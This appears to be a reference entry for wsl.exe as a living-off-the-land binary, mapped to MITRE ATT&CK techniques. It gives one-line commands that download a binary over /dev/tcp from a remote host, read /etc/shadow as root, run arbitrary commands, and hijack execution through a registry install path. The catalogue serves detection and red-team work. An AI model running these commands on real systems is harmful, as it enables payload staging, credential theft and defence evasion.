Wsl.exe

Windows subsystem for Linux executable

Download

Download file

wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'

Downloads file from 192.168.1.10 — MITRE: T1105 — Privileges: User

Execute

Performs execution of specified file, can be used to execute arbitrary Linux commands.

wsl.exe -e /mnt/c/Windows/System32/calc.exe

Executes calc.exe from wsl.exe — MITRE: T1202 — Privileges: User

Performs execution of arbitrary Linux commands as root without need for password.

wsl.exe -u root -e cat /etc/shadow

Cats /etc/shadow file as root — MITRE: T1202 — Privileges: User

Performs execution of arbitrary Linux commands.

wsl.exe --exec bash -c "{CMD}"

Executes Linux command (for example via bash) as the default user (unless stated otherwise using `-u <username>`) on the default WSL distro (unless stated otherwise using `-d <distro name>`) — MITRE: T1202 — Privileges: User

Execute a payload as a child process of `bash.exe` while masquerading as WSL.

wsl.exe

When executed, `wsl.exe` queries the registry value of `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation`, which contains a folder path (`c:\program files\wsl` by default). If the value points to another folder containing a file named `wsl.exe`, it will be executed instead of the legitimate `wsl.exe` in the program files folder. — MITRE: T1218 — Privileges: User